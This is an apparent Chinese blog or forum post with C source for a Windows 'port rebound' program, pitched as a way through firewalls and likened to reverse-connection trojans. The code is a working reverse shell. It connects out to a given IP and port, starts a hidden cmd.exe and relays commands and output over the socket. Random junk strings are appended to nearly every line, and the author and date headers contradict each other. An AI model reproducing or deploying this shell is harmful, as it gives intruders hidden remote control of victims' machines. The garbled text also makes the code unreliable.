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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 nHKEtKDd  
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/* ============================== Bw*z4qb{yH  
Rebound port in Windows NT vt mO  
By wind,2006/7 d!KX.K\NM,  
===============================*/ BdO$  
#include \MtiLaI"  
#include ~~zw[#'  
jD^L<  
#pragma comment(lib,"wsock32.lib") 9v cUo?/  
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void OutputShell(); \Zf&&7v  
SOCKET sClient; Ip4NkUI3T  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #4//2N  
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void main(int argc,char **argv) M:`hb$k:  
{ 4Ro(r sO  
WSADATA stWsaData; X=\ #n-*  
int nRet; C3@.75-E  
SOCKADDR_IN stSaiClient,stSaiServer; I I>2\d|   
sjTsaM;<  
if(argc != 3) $xu?zd"  
{ D?\K~U* >  
printf("Useage:\n\rRebound DestIP DestPort\n"); F41!Dj7  
return; ;mi0Q.  
} _;B!6cRLps  
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WSAStartup(MAKEWORD(2,2),&stWsaData); GPR`=]n& &  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E;4Ns  
z{#F9'\&  
stSaiClient.sin_family = AF_INET; Y[~6f,?^  
stSaiClient.sin_port = htons(0); zW0AB8l  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &vMH AZd  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) m]-8?B1`Y  
{ ~2H7_+.#  
printf("Bind Socket Failed!\n"); Jl]]nO BQ/  
return; xD\Km>|i  
} Q"hI!PO+  
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stSaiServer.sin_family = AF_INET; 5GJ0EZ'X  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); z)VIbEy  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); "]_|c\98  
k@8#Byl|  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) |O4A+S  
{ .v" lY2:N  
printf("Connect Error!"); rd,mbH[<C  
return; ooZ-T>$  
} %UQ?k:aWp|  
OutputShell(); qz0v1057#  
} 4[J3HLQ  
z}Z`kq+C  
void OutputShell() 7lVIN&.=  
{ :x{Q  
char szBuff[1024]; 'o7PIhD"  
SECURITY_ATTRIBUTES stSecurityAttributes; 9>i6oF]Oq  
OSVERSIONINFO stOsversionInfo; L\Jl'r|  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; VNYLps@4H  
STARTUPINFO stStartupInfo; T?\CAk>  
char *szShell; Q"Ec7C5eM  
PROCESS_INFORMATION stProcessInformation; y2+a2  
unsigned long lBytesRead; =O;SXzgE  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jYy0^)6X(  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); iO!lG  
stSecurityAttributes.lpSecurityDescriptor = 0; ,{Ab=xV  
stSecurityAttributes.bInheritHandle = TRUE; ]~qN<x  
6 gKOpa  
m_(hCY=Q$  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i52R,hz  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); yX-xVvlv@  
s^oNQ}  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ^z^>]Qd  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r/4]b]n  
stStartupInfo.wShowWindow = SW_HIDE; P+b^;+\1s  
stStartupInfo.hStdInput = hReadPipe; Oq2H>eW`f  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^ Wl/  
*.*:(7`  
GetVersionEx(&stOsversionInfo); DO\EB6xH>%  
J7\q #]?  
switch(stOsversionInfo.dwPlatformId) }-L@AC/\#  
{ 5{g9Wh[  
case 1: JG<3,>@%  
szShell = "command.com"; yQA[X}  
break; epbp9[`  
default: O5{XT]:  
szShell = "cmd.exe"; u.[JYZ  
break; ;Bb5KD  
} vUK>4^{J5  
_#4,&bh8  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,\M_q">npc  
v$i%>tQ\  
send(sClient,szMsg,77,0); _B1uE2j9  
while(1) J:lwq@u  
{ V[I<9xaE  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -$)Et|  
if(lBytesRead) V`M,d~:Pr"  
{ ,xz^ k/.  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 68c;Vb  
send(sClient,szBuff,lBytesRead,0); zrew:5*uZ  
} .cF$f4>2  
else Qf|}%}% fp  
{ "?{yVu~9  
lBytesRead=recv(sClient,szBuff,1024,0); VjqdKQeVq  
if(lBytesRead<=0) break; S1zw'!O5  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4sj%:  
} nwo!A3w:  
} 8e@JvAaa$  
7S2F^,w  
return; 0w['jh|,  
}
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